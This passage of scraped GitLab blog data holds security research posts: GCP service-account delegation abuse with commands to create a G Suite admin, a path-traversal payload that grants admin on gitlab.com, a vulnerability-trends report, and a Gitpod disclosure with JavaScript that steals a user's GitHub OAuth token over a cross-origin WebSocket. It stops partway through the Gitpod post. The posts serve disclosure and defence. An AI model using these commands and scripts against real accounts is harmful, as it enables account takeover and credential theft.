something like `account-name@project-name.iam.gserviceaccount.com`. If you try to access G Suite API calls directly with that email, even with delegation enabled, you will fail. This is because the G Suite directory will not include the GCP service account's email addresses. Instead, to interact with G Suite, we need to actually impersonate valid G Suite users.\n\nWhat you really want to do is to impersonate a user with administrative access, and then use that access to do something like reset a password, disable multi-factor authentication, or just create yourself a shiny new admin account.\n\nWe've created [this Python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc/blob/master/gcp_delegation.py) that can do two things - list the user directory and create a new administrative account. Here is how you would use it:\n\n```\n# Validate access only\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com\n\n# List the directory\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com \\\n    --list\n\n# Create a new admin account\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com \\\n    --account pwned\n```\n\nYou can try this script across a range of email addresses to impersonate various users. Standard output will indicate whether or not the service account has access to G Suite, and will include a random password for the new admin account if one is created.\n\nIf you have success creating a new admin account, you can log on to the [Google admin console](https://admin.google.com) and have full control over everything in G Suite for every user - email, docs, calendar, etc. Go wild.",[678,9,783],{"slug":903,"featured":6,"template":683},"plundering-gcp-escalating-privileges-in-google-cloud-platform","content:en-us:blog:plundering-gcp-escalating-privileges-in-google-cloud-platform.yml","Plundering Gcp Escalating Privileges In Google Cloud Platform","en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform.yml","en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform",{"_path":909,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":910,"content":916,"config":921,"_id":923,"_type":14,"title":924,"_source":16,"_file":925,"_stem":926,"_extension":19},"/en-us/blog/security-trends-in-gitlab-hosted-projects",{"title":911,"description":912,"ogTitle":911,"ogDescription":912,"noIndex":6,"ogImage":913,"ogUrl":914,"ogSiteName":670,"ogType":671,"canonicalUrls":914,"schema":915},"Top 6 security trends in GitLab-hosted projects","Using components with known vulnerabilities is the most common security problem in GitLab.com-hosted projects.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663502/Blog/Hero%20Images/paperclips.jpg","https://about.gitlab.com/blog/security-trends-in-gitlab-hosted-projects","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top 6 security trends in GitLab-hosted projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Wayne Haber\"}],\n        \"datePublished\": \"2020-04-02\",\n      }",{"title":911,"description":912,"authors":917,"heroImage":913,"date":918,"body":919,"category":678,"tags":920},[738],"2020-04-02","\nIn our first security trends report, we discovered six vulnerabilities that occurred in 5% or more of GitLab-hosted projects over the past six months. This is our first security trends report, which we intend to release with the latest trends twice a year.\n\nGitLab is unique: We have a solution for the entire DevSecOps lifecycle and we host thousands of different projects on GitLab.com. This allows us to compute trends in vulnerabilities across many different factors.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/y1_2kNc15ZE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Data sources\n\nThe underlying data for the trends report is sourced from projects hosted on GitLab.com, and does not include data from our self-managed customers. It includes vulnerability types appearing in 5% or more of projects between September 2019 and February 2020.  All project-specific data has been anonymized.\n\nWe sourced security trend data from six sources:\n\n- [Static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/): Scan the source code\n- [Dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/): Scan running web applications\n- [Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/): Scan package dependencies during the CI/CD process\n- [Container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning): Scan in use Docker images for known vulnerabilities\n- [Secret detection](https://docs.gitlab.com/ee/user/application_security/sast/#secret-detection): Scan source code for secrets (such as passwords, keys, and tokens)\n- Scan results imported from third party tools, such as [WhiteSource](/blog/whitesource-gitlab-security-integration/)\n\nAll of the data was discovered by GitLab components that shift the security risks to the left. The issues were identified during the [CI/CD process](/topics/ci-cd/), prior to the applications and containers deploying to production environments.\n\nSecurity vulnerabilities are managed by users via the [security dashboard](https://docs.gitlab.com/ee/user/application_security/#interacting-with-the-vulnerabilities).\n\nulnerability types\n\nThe following vulnerability types appeared in 5% or more of GitLab.com-hosted projects:\n\n| Vulnerability type | Current rank | % of projects | Change in rank from 6 months ago | % change from 6 months ago |\n|---|---|---|---|---|\n| Component with known vulnerabilities | 1 | 52% | No change |  +6% |\n| Cross-site scripting (XSS) | 2 |  21% |  No change |  +20% |\n| Lack of secret management | 3 |  18% |  No change |  +6% |\n| Content security protection (CSP) | 4 |  8% |  Up 3 |  +192% |\n| Cross-site request forgery (CSRF) | 5 |   6% |  Down 1 |  -30% |\n| SQL injection (SQLi) | 6 |  6% |  Down 1 |  -15% |\n\n## Vulnerability scanning trends\n\nIn the last six months:\n\n- GitLab users have increased vulnerability scanning of projects by 161%\n- Total vulnerabilities detected per month have increased by 73%\n\n![Graph of vulnerability trends from GitLab-hosted projects in the past six months.](https://about.gitlab.com/images/blogimages/security_trends_april_2020/vulnerability_trends.png \"Vulnerability Trends\")\n\nVulnerability trends from GitLab-hosted projects in the past six months.\n{: .note.text-center}\n\n## Trends for specific vulnerability types\n\n### 1. Components with known vulnerabilities\n\nWe detected use of components with known vulnerabilities in 52% of the projects scanned, making it the number one type of vulnerability in GitLab.com-hosted projects. The percent of projects using components with known vulnerabilities increased by 6% in the last six months.\n\n![Graph showing an increase in components with known vulnerabilities in GitLab.com-hosted projects](https://about.gitlab.com/images/blogimages/security_trends_april_2020/components_with_known_vulnerabilities.png \"Components with known vulnerabilities\")\n\nThere was an increase in projects using components with known vulnerabilities in GitLab.com-hosted projects in the past six months.\n{: .note.text-center}\n\n* `Project_Percentage`: Percent of projects with a vulnerability of this type seen per month\n* `Project_Percentage Average`: Rolling average of the `Project_Percentage`\n\nBest practices for reducing use of [components with known vulnerabilities](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities) include:\n* During the build process, pull the latest packages whenever possible or feasible.\n* Recursively [scan package dependencies](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) and prioritize updates based on risk.\n* [Scan containers](https://docs.gitlab.com/ee/user/application_security/container_scanning/) for known vulnerabilities and patch as possible or feasible.\n\n### 2. Cross-site scripting (XSS)\n\nWe detected cross-site scripting (XSS) in 21% of the projects scanned. The percent of projects containing XSS vulnerabilities increased by 20% in the last six months.\n\n![Graph showing XSS trends vulnerabilities grew by 20% in the past six months.](https://about.gitlab.com/images/blogimages/security_trends_april_2020/xss.png \"XSS Trends\")\n\nXSS vulnerabilities grew by 20% in the past six months.\n{: .note.text-center}\n\nXSS vulnerabilities allow malicious code to be inserted into a web browser's session, often allowing for a complete takeover of a web application. The malicious code can be inserted when a user clicks on a malicious link, or if malicious code is sent to an application, stored, then displayed in the user's web browser.\n\nBest practices for protecting against [XSS vulnerabilities](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)) include:\n\n- Identify and scan all web applications for cross-site scripting vulnerabilities with [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) and [SAST](https://docs.gitlab.com/ee/user/application_security/sast/). However, don’t assume that dynamically discovered XSS is the only attack vector – you should track stored XSS as well.\n- Educate developers on the risks of XSS. Some common misperceptions among developers are that XSS is low-risk and that applications that are not accessible through the internet are not at risk for XSS.\n- Use frameworks that automatically mitigate XSS by design.\n- Assume stored data that will be displayed in web applications is untrusted, and escape all HTML as appropriate to mitigate risks from stored XSS.\n- Apply context-sensitive coding when modifying the browser document on the client side.\n- Enable CSP (content security policy) to help detect and mitigate attacks such as XSS.\n\n### 3. Lack of secret management\n\nThe third most common vulnerability we identified was inadequate secret management. Of the projects we scanned, 18% lacked adequate secret management. The percent of projects with secret management vulnerabilities increased by 6% in the last six months.\n\n![A graph showing a 6% increase in projects with secret management vulnerabilities](https://about.gitlab.com/images/blogimages/security_trends_april_2020/secret_management.png \"Secret management trends\")\n\nThere was a small increase in the number of projects lacking secret management over the past six months.\n{: .note.text-center}\n\nApplications need secrets to operate (authenticate to data stores, services, etc.). It is easy for developers to make the secrets readily accessible, however not following secret management best practices can cause significant vulnerabilities for the application.\n\nBest practices for secret management include:\n\n- Educate developers on why storing secrets in repositories, intentionally or unintentionally, is ill-advised.\n- Educate developers on how to safely store and retrieve secrets in critical environments.\n- [Scan your repositories for keys, tokens, and hardcoded passwords](https://docs.gitlab.com/ee/user/application_security/sast/#secret-detection).\n\n### 4. Content security protection (CSP)\n\nA lack of content security protection (CSP) is now the fourth most common type of vulnerability, increasing from the seventh ranking six months ago. Lack of CSP-based protection was detected in 8% of the projects scanned. The percent of projects where CSP protections were not found increased by 192% in the last six months.\n\n![There was a huge spike in CSP trends over the past six months on GitLab.com hosted projects](https://about.gitlab.com/images/blogimages/security_trends_april_2020/csp.png \"CSP trends\")\n\nThere was a huge spike in CSP trends over the past six months on GitLab.com hosted projects.\n{: .note.text-center}\n\nCSP adds a layer to detect and mitigate attacks, including XSS. It can be very challenging to prevent all attacks such as XSS, and CSP allows in-browser detection of successful attacks.\n\nBest practices for implementing CSP include:\n\n- Implement [CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) protection on all web applications, including applications not exposed to the internet.\n- Run [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) on all web applications.\n\n### 5. Cross-site request forgery (CSRF)\n\nWe detected [CSRF](https://owasp.org/www-community/attacks/csrf) in 6% of the projects scanned, making it the fifth most common vulnerability. The percent of projects with CSRF vulnerabilities has decreased by 30% in the last six months.\n\n![A graph showing a 30% decline in CSRF vulnerabilities on GitLab.com hosted projects over the past six months](https://about.gitlab.com/images/blogimages/security_trends_april_2020/csrf.png \"CSRF Trends\")\n\nCSRF vulnerabilities have been trending down in GitLab.com hosted projects over the past six months.\n{: .note.text-center}\n\nCSRF allows an attacker to execute malicious actions on a web application in use by a legitimate and authenticated user.\n\nBest practices for preventing CSRF:\n\n- Implement a CSRF token, which will not be known to the attacker.\n- Use the built-in features of most frameworks for CSRF protection.\n- Use the [same-site flag in cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n- Run [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) on all web applications.\n\n### 6. SQL Injection (SQLi)\n\nSQL Injection (SQLi) is the sixth most prevalent type of security vulnerability. SQLi was detected in 6% of the projects that were scanned, which is a 15% decrease from six months ago.\n\n![A graph showing a 15% decrease in SQLi over the past six months.](https://about.gitlab.com/images/blogimages/security_trends_april_2020/sqli.png \"SQLi trends\")\n\nThere has been a 15% decrease in SQLi over the past six months.\n{: .note.text-center}\n\n[SQL and other injection vulnerabilities](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection) occur when inputs from untrusted sources are improperly sanitized. This includes but is not limited to web user interfaces. Injection vulnerabilities allow an application to run malicious code.\n\nBest practices for SQLi protection include:\n\n* Sanitize all input only allowing acceptable data.\n* Use parameterized database queries (vs. dynamically built queries) whenever possible.\n* Use LIMIT and other similar controls to reduce the chances of unintended data disclosure.\n* Run [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) and [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) scans.\n\n## Routine evaluations keep your projects more secure\n\nDevelopers using GitLab are able to focus on providing value to their customers while also identifiying and mitigating security threats. Automating and prioritizing security helps to protect and defend your applications as well as improve the productivity and morale for development teams.\n\n## Tell us what you think of this blog\n\nWhat do you like about this blog post? What do you think should be improved or considered for the next one? Please provide any feedback you have in [this public issue](https://gitlab.com/gitlab-org/protect/general/-/issues/709).\n\nCover Photo by [Jackson Simmer](https://unsplash.com/@simmerdownjpg) on [Unsplash](https://unsplash.com/photos/Vqg809B-SrE)\n{: .note}\n",[678,9],{"slug":922,"featured":6,"template":683},"security-trends-in-gitlab-hosted-projects","content:en-us:blog:security-trends-in-gitlab-hosted-projects.yml","Security Trends In Gitlab Hosted Projects","en-us/blog/security-trends-in-gitlab-hosted-projects.yml","en-us/blog/security-trends-in-gitlab-hosted-projects",{"_path":928,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":929,"content":934,"config":939,"_id":941,"_type":14,"title":942,"_source":16,"_file":943,"_stem":944,"_extension":19},"/en-us/blog/shopping-for-an-admin-account",{"title":930,"description":931,"ogTitle":930,"ogDescription":931,"noIndex":6,"ogImage":693,"ogUrl":932,"ogSiteName":670,"ogType":671,"canonicalUrls":932,"schema":933},"Shopping for an admin account via path traversal","How to exploit a path traversal issue to gain an admin account","https://about.gitlab.com/blog/shopping-for-an-admin-account","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Shopping for an admin account via path traversal\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2019-11-29\",\n      }",{"title":930,"description":931,"authors":935,"heroImage":693,"date":936,"body":937,"category":678,"tags":938},[698],"2019-11-29","\nGitLab [security researchers](/handbook/security/#security-research) conduct internal testing against GitLab assets and against [free and open-source software (FOSS)](https://en.wikipedia.org/wiki/Free_and_open-source_software) critical to GitLab products and operations to ultimately make our product and company more secure.\n\n## Introduction\n\nMost web applications are not standalone – they depend on other applications in order to fulfill their purpose. Calls to other web apps can be done in various ways depending on the other side's API. In this post, we'll discuss calls to REST APIs and some security implications when calling those REST endpoints.\n\nRepresentational State Transfer (short: [REST](https://de.wikipedia.org/wiki/Representational_State_Transfer)) is an HTTP-based protocol that uses different HTTP methods (e.g. GET/POST/PUT/DELETE) to interact with a remote API endpoint.\n\nLet's take a look at a very specific (GitLab) example to get an impression of what can go wrong when two web apps talk REST to each other.\n\n## GitLab's Customers Portal\n\nAt [customers.gitlab.com](https://customers.gitlab.com) our GitLab community can shop for various GitLab subscriptions and also buy CI minutes. The `customers` source code is non-public, so I will just use a few relevant snippets as examples to illustrate the issue.\n\nThe `customers` portal needs to interact with the `gitlab.com` API in order to let `gitlab.com` know things like how many CI minutes you've bought. The HTTP calls to the `gitlab.com` API are implemented using [HTTParty](https://github.com/jnunemaker/httparty).\n\nFor PUT requests this looked like:\n\n```ruby\n    def put(path, *args)\n      options = valid_options(args)\n\n      HTTParty.put(full_url(path), options)\n    end\n\nprivate\n\n    def full_url(path)\n      URI.join(BASE_URL, path).to_s\n    end\n```\n\nLet's look at the caller to the `put` method:\n\n```ruby\nresponse = Client::GitlabApp.put(\"/api/v4/namespaces/#{@namespace_id}\", body: @attrs.to_json, token: API_TOKEN)\n```\n\nThe above line of code is the place where the `Client::GitlabApp` is used to update a subscription on `gitlab.com`; this call occurs when a customer moves the subscription from one namespace to another. The parameter `@namespace_id` is user controlled but the payload of the PUT operation (`body: @attrs.to_json`) is not. The `API_TOKEN` is an access token to `gitlab.com`'s API with `admin` privileges. The threat which arises from the call to `Client::GitlabApp.put` is the possibility to traverse the path on `gitlab.com`'s API by supplying a `@namespace_id` of `../other/path` and thus being able to reach other API endpoints than the intended `/api/v4/namespace/`.\n\nThis type of attack, namely a [path (or directory) traversal attack](https://en.wikipedia.org/wiki/Directory_traversal_attack), is a very common and generic issue. It can occur basically everywhere that path parameters are being plunged together (e.g. file systems access or unpacking of archive files).\n\n## Impact\n\nIt gets really interesting when we think about the impact and exploitation of this issue. Since we do not control the payload (`@attrs.to_json`) of the PUT operation one could think that the impact of this traversal is quite limited. In REST the PUT operation is being used to update existing resources. Usually the to-be-updated attributes of the resource are sent in the body of the HTTP request, just like the JSON encoded `@attrs` in our case.\n\nThe API endpoint on `gitlab.com` is implemented using [Grape](http://www.ruby-grape.org/) which implements [parameter handling](https://github.com/ruby-grape/grape#parameters) in a way that any PUT/POST parameters will be merged with the path-based GET parameters into the `params` hash. This means that besides the `body: @attrs.to_json` payload in the PUT operation we could, using the unsanitized `@namespace_id` parameter, not only traverse API endpoints using `../` sequences, we could also inject attributes on the API endpoint by appending `?some_attribute=our_value` to `@namespace_id`. So, in addition to the path traversal, we can also inject arbitrary arguments on the API endpoint. In combination the two steps can enable quite powerful attacks.\n\n## Exploitation\n\nTaking the above building blocks of path traversal and attribute injection in a request using an `admin` token on the `gitlab.com` API, we have a quite powerful and universal attack at hand. While investigating and verifying the issue on GitLab's `staging` environment it could be used to promote regular accounts to `admin`. The actual payload is quite simple: `../users/\u003CuserID>?admin=true` it resulted in a PUT request to `https://gitlab.com/api/v4/users/\u003CuserID>?admin=true`.\n\nWithin the staging environment the exploit payload looked like this within the Chrome developer tools:\n\n![exploit](https://about.gitlab.com/images/blogimages/Path-traversal/get_admin.png)\n\nThe reward was a shiny 🔧 sign to access the admin area on the targeted account:\n\n![wrench](https://about.gitlab.com/images/blogimages/Path-traversal/be_admin.png)\n\nThe modification was done using the \"Change linked Group\" feature for a GitLab Bronze subscription. But as the same vector can be used with purchased CI minutes it would just have cost eight dollars and a few clicks to become an admin on `gitlab.com` 😏.\n\n## Mitigation\n\nThe issue was mitigated promptly by the [fulfillment backend team](/handbook/engineering/development/fulfillment/). The application is now enforcing the `@namespace_id` parameter to be numerical. Also additional defense-in-depth measures have been taken to avoid path traversals and similar attacks.\n\n## Conclusion\n\nWe've seen here a very good example of the typical pitfalls in modern applications which make use of backend services via API calls. The path traversal in combination with the ability to inject further attributes in the API call allowed us to cause severe impact. The issue, even though present in the `customers.gitlab.com` code base, could be used to elevate user privileges on `gitlab.com`.\n\n***Security Research at GitLab***\n*Security research is one component of our broader security organization's efforts to  enhance the security posture of our company, products, and client-facing services. See our [Security Handbook](/handbook/security) to learn more.*\n\nPhoto by [Marta Branco](https://www.pexels.com/@martabranco?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/closeup-photo-of-black-and-blue-keyboard-1194713/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[678,9],{"slug":940,"featured":6,"template":683},"shopping-for-an-admin-account","content:en-us:blog:shopping-for-an-admin-account.yml","Shopping For An Admin Account","en-us/blog/shopping-for-an-admin-account.yml","en-us/blog/shopping-for-an-admin-account",{"_path":946,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":947,"content":953,"config":959,"_id":961,"_type":14,"title":962,"_source":16,"_file":963,"_stem":964,"_extension":19},"/en-us/blog/switching-sides-in-security",{"title":948,"description":949,"ogTitle":948,"ogDescription":949,"noIndex":6,"ogImage":950,"ogUrl":951,"ogSiteName":670,"ogType":671,"canonicalUrls":951,"schema":952},"Switching “sides” in security","How does product security work differ from pen testing and hacking all the things?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679594/Blog/Hero%20Images/jason-polychronopulos-unsplash.jpg","https://about.gitlab.com/blog/switching-sides-in-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Switching “sides” in security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2020-10-23\",\n      }",{"title":948,"description":949,"authors":954,"heroImage":950,"date":955,"body":956,"category":957,"tags":958},[698],"2020-10-23","\n \n{::options parse_block_html=\"true\" /}\n \n\n \n \n \n\nThe beginning of this month marked my first year working at GitLab. Before joining the GitLab team, I'd been doing security consulting and penetration testing for my entire career. I didn’t change jobs much until last year ... actually I haven't at all. I'd been happily hacking all the things over at [Recurity Labs](https://recurity-labs.com) since 2007.\n\nI would like to use my first anniversary here at GitLab to compare both sides, namely penetration testing and security consulting versus the product security side of security. Nowadays, I’m working on the [Security Research team](/handbook/security/#security-research) here at GitLab. A lot of my work is closely interwoven with the [Application Security](/topics/devsecops/) team: reviewing features and merge requests, and responding to pings asking for security advice. It appears a bit like in-house security consulting, but in reality, the work is much broader in general and I’ll outline the main differences here in this post.\n\n## Distractions\n\nI was a bit baffled when I was asked, ‘How do you keep state? How do you take notes about your projects?’ in the very first run of the Source Code Audit Training I delivered as a security consultant to some in-house security team. About a decade into the job at that point, I'd never thought about the massive distractions one might have being part of a product security team. It was a simple question: the team was wondering about my note keeping techniques. At this point I didn't have any good answer. I didn't have an external process to keep track of my projects. Why? Because I had the luxury of executing one project at a time; only one thing to hack, only one thing to focus on deeply for a week or two. I could just rely on my memory because I barely needed to context-switch. When the project was over, I dumped my findings into a report and was ready to move on to the next project. \n \nIn my current role, I’ve since adapted to the huge amount of context switching one needs to do in the day-to-day work. Though, I still need to find the perfect note taking solution for myself (if you have any cool pointers, just leave a comment with this post). And generally, having a greater variety of tasks and obligations during a week of work is something refreshing, at least for me. It allows me to switch topics in the event I’m stuck on something. Later on, I can switch back with a fresh mindset ready to tackle the problem, possibly with a new perspective.\n\n## Thinking broad vs. deep\n\nI was used to thinking very deeply when performing code reviews. And, during a pentest, you can dig really, really deep into the application you're assessing (please stay in scope though ;D). \n \nHowever, in product security you are delivered the output of that deep thought process. Often the job of the in-house application security engineers is to communicate security impact and consequences to engineering and product management teams; effectively switching from thinking deep to thinking broad. \n \nWhen I was writing assessment reports on the consulting side, I expected a certain, rather high level of security expertise on the receiving end. Now, on the product security side, the information shared has to be communicated to development and product management counterparts in a readily understandable manner. Suddenly, things need to be taken into consideration, which an external security consultant (luckily :sweat_smile: ) doesn't have to think about. This might be, for instance, product decisions or other non-technical aspects. This intersection of product security engineers and external pentesters is where friction can emerge. One side might disrespect or poke fun at the other side, due simply to the lack of some context or information the counterpart has. That being said: the \"other\" side typically isn't \"ignorant\" or less skilled, they just have another level of focus (deeper or broader, perhaps) and, most importantly, different priorities. \n \nBeing able to take-on the perspective of someone else is a great skill to have in almost any situation in life. That’s just a general take away. This being said, though, I’m not accusing any pentester of not possessing this skill -- it’s merely that they’re not expected to have this in the context of a pentest. Rather, it’s the deep level of technical abilities they’re hired for.  For me, the change was quite beneficial. The variety of tech stacks is lower here at GitLab; for instance, I don’t think I’ll see too much PHP or Java code to audit, but the broadened view beyond the horizon of technical questions was a trade worth making for me.\n\n## We're in the same boat\n\nBe it a security consultant doing a code review or an in-house application security engineer triaging and validating bug bounty submissions: they're on the same side. Ultimately, everyone wants to improve the security posture of whatever they're in charge of. For a pentester this \"thing they’re in charge of\" changes with every project they take. For in-house application security teams it's roughly the same product the whole time. While the goal is common, it is the work and the environment that can differ a lot. I personally am happy to have made the step to \"the other side\", working in product security now. It has given me the opportunity to approach security issues from new and, at least for me, unusual angles.\n\nPhoto by [Jason Polychronopulos](https://unsplash.com/@jpoly) from [Unsplash](https://www.unsplash.com).\n{: .note}\n","unfiltered",[678,9,680],{"slug":960,"featured":6,"template":683},"switching-sides-in-security","content:en-us:blog:switching-sides-in-security.yml","Switching Sides In Security","en-us/blog/switching-sides-in-security.yml","en-us/blog/switching-sides-in-security",{"_path":966,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":967,"content":972,"config":977,"_id":979,"_type":14,"title":980,"_source":16,"_file":981,"_stem":982,"_extension":19},"/en-us/blog/two-bugs-and-a-quick-fix-in-gitpod",{"title":968,"description":969,"ogTitle":968,"ogDescription":969,"noIndex":6,"ogImage":693,"ogUrl":970,"ogSiteName":670,"ogType":671,"canonicalUrls":970,"schema":971},"A brief look at Gitpod, two bugs, and a quick fix","Our security researcher takes a look at Gitpod and finds some access tokens under the carpet.","https://about.gitlab.com/blog/two-bugs-and-a-quick-fix-in-gitpod","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A brief look at Gitpod, two bugs, and a quick fix\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2021-07-08\",\n      }",{"title":968,"description":969,"authors":973,"heroImage":693,"date":974,"body":975,"category":678,"tags":976},[698],"2021-07-08","\n\nWhile looking at GitLab's [Gitpod integration](https://docs.gitlab.com/ee/integration/gitpod.html), I came across two rather critical flaws in Gitpod itself. In this post, I'll cover the process of identifying the vulnerabilities and some background on Gitpod. The more critical issue was fixed and the fix was pushed to production by the Gitpod team in less than five hours from my initial report. Huge kudos to the Gitpod team for that quick turnaround.\n\n## What is Gitpod? \n\nFirst, let's see what Gitpod actually is -- taken straight from [gitpod.io](https://gitpod.io):\n\n> Spin up fresh, automated dev environments for each task, in the cloud, in seconds.\n\nThat quote sums it up really well. You can login to Gitpod with your GitLab, GitHub, or Bitbucket account and then use a pretty full-blown, web-based development environment to work on your code, run tests, or even spin up services and expose them from your Gitpod instance to the internet.\n\n## Gitpod vulnerability #1: cross-origin WebSocket access\n### Authentication process\n\nWhen logging into Gitpod via GitLab, we need to grant Gitpod the GitLab OAuth scopes `read_user` and `api`. The `api` scope is needed to give Gitpod access to GitLab private repositories and push Git commits on behalf of the user.\n\n![Gitpod OAuth scopes](https://about.gitlab.com/images/blogimages/gitpod-oauth-scopes.png){: .shadow.medium.center}\nGitpod authorization scope.\n{: .note.text-center}\n\n\nThe fact that Gitpod holds an OAuth token with full API access to all three major Git hosting platforms sparked my interest, as this level of access makes it quite a high-value target. So I decided to look a bit at the inner workings and see how far I could get.\n\n### Using the product\n\nWhen opening a Git-based project you are assigned a random workspace name [in the form of](https://github.com/gitpod-io/gitpod/blob/2b2702f31b6fc6f67c4b447c814dd6db6b4a433f/components/gitpod-protocol/src/util/generate-workspace-id.ts) `color-animal-XXXXXXXX` like `amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`. Once the workspace is booted, you can perform all sorts of tasks, with one very interesting task being to expose application ports to the public. Exposed ports are made available at `portnumber-color-animal-XXXXXXXX`, so exposing port 3000 for our example workspace will result in having the port accessible at `https://3000-amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`.\n\nWhile using the web-based IDE under `https://amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`, I noticed the application opened a WebSocket connection to an API endpoint at `https://gitpod.io/api/gitpod`. Within this WebSocket connection the IDE component of Gitpod from our workspace's subdomain was communicating with the main API. A sample request message when authenticated via GitHub would be:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 12,\n  \"method\": \"getToken\",\n  \"params\": {\n    \"host\": \"github.com\"\n  }\n}\n\n```\n\nThis request would obtain the logged-in user's access token for GitHub:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 12,\n  \"result\": {\n    \"value\": \"gho_justafaketokenhere\",\n    \"username\": \"oauth2\",\n    \"scopes\": [\n      \"user:email\"\n    ],\n    \"updateDate\": \"2021-04-14T09:06:46.578Z\"\n  }\n}\n```\n\n### Cross-origin WebSockets\n\nAfter seeing the above messages being exchanged on the WebSocket across the different origins, the next thing I did was try this from a site where I control the content. Namely the exposed port! While it's not the exact workspace name it's still under the same subdomain: `.ws-eu03.gitpod.io`.\n\nI simply served the following snippet via the exposed application port at `https://3000-amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`\n\n```html\n\u003Cscript type=\"module\">\n  import { Octokit } from \"https://cdn.skypack.dev/@octokit/rest\";\n  var exampleSocket = new WebSocket(\"wss://gitpod.io/api/gitpod\")\n  exampleSocket.onmessage = function (event) {\n    console.log(event.data);\n    var x = JSON.parse(event.data);\n    var token = x.result.value;\n    console.log(x.result.value);\n    const octokit = new Octokit({\n    auth: token,\n  });\n octokit.users.getAuthenticated().then((user) => alert(\"hello \"+user.data.login));\n}\nexampleSocket.onopen = function (event) {\nexampleSocket.send('{\"jsonrpc\":\"2.0\",\"id\":29,\"method\":\"getToken\",\"params\":{\"host\":\"github.com\"}}')\n}\n\u003C/script>\n```\n\nAnd to my surprise this actually worked. It was possible to access the main WebSocket on behalf of the authenticated Gitpod user from a website I fully control.\n\nThe above script accesses the WebSocket while sending the user's cookies along with the request. This means we can authenticate the connection and ask for the user's GitHub access token. To verify everything works, the script authenticates against the GitHub API using the extracted access token to obtain the associated username and greets them with a `hello \u003Cgithub-username>` browser alert dialog.\n\nThis issue was fixed by Gitpod in their [May 2021 release](https://github.com/gitpod-io/gitpod/pull/4334/files#diff-06572a96a58dc510037d5efa622f9bec8519bc1beab13c9f251e97e657a9d4edR24).\n\nFor a realistic attack, we'd need to lure a logged in Gitpod user to the app's exposed port to be able to fully impersonate them on GitLab/GitHub/BitBucket. While this is certainly quite a serious issue it still involves a lot of user interaction and social engineering to be successful.\n\n## Gitpod vulnerability #2: log in as any account\n### Custom integrations\n\nWhile familiarizing myself a bit with the product, I came across the [`Integrations`](https://gitpod.io/integrations) settings.\n\n![Gitpod Integrations](https://about.gitlab.com/images/blogimages/gitpod_integrations.png){: .shadow.medium.center}\nGitpod integrations settings.\n{: .note.text-center}\n\nCustom integrations allow a user to gather an OAuth access token from self-managed GitLab and GitHub installations. This makes perfect sense since you might want to use Gitpod with your self-managed instance too. This setting caused a big 'what if?' moment for me. What if I could use a self-managed instance to log into Gitpod? On a self-managed instance I'm the king of my castle and can set arbitrary email addresses for any user. The idea here is to fool the login process and login as someone else. So I created an OAuth application as [documented](https://www.gitpod.io/docs/gitlab-integration#registering-a-self-hosted-gitlab-installation) and registered it as an Integration within Gitpod.\n\n### My first attempt\n\nIf you choose to login with `GitLab.com`, the regular login flow starts with a call to:\n\n```\nhttps://gitpod.io/api/login?host=gitlab.com&returnTo=https%3A%2F%2Fgitpod.io%2Flogin-success\n```\n\nThe first attempt I made was to swap `gitlab.com` with the URL of a self-managed instance, just like 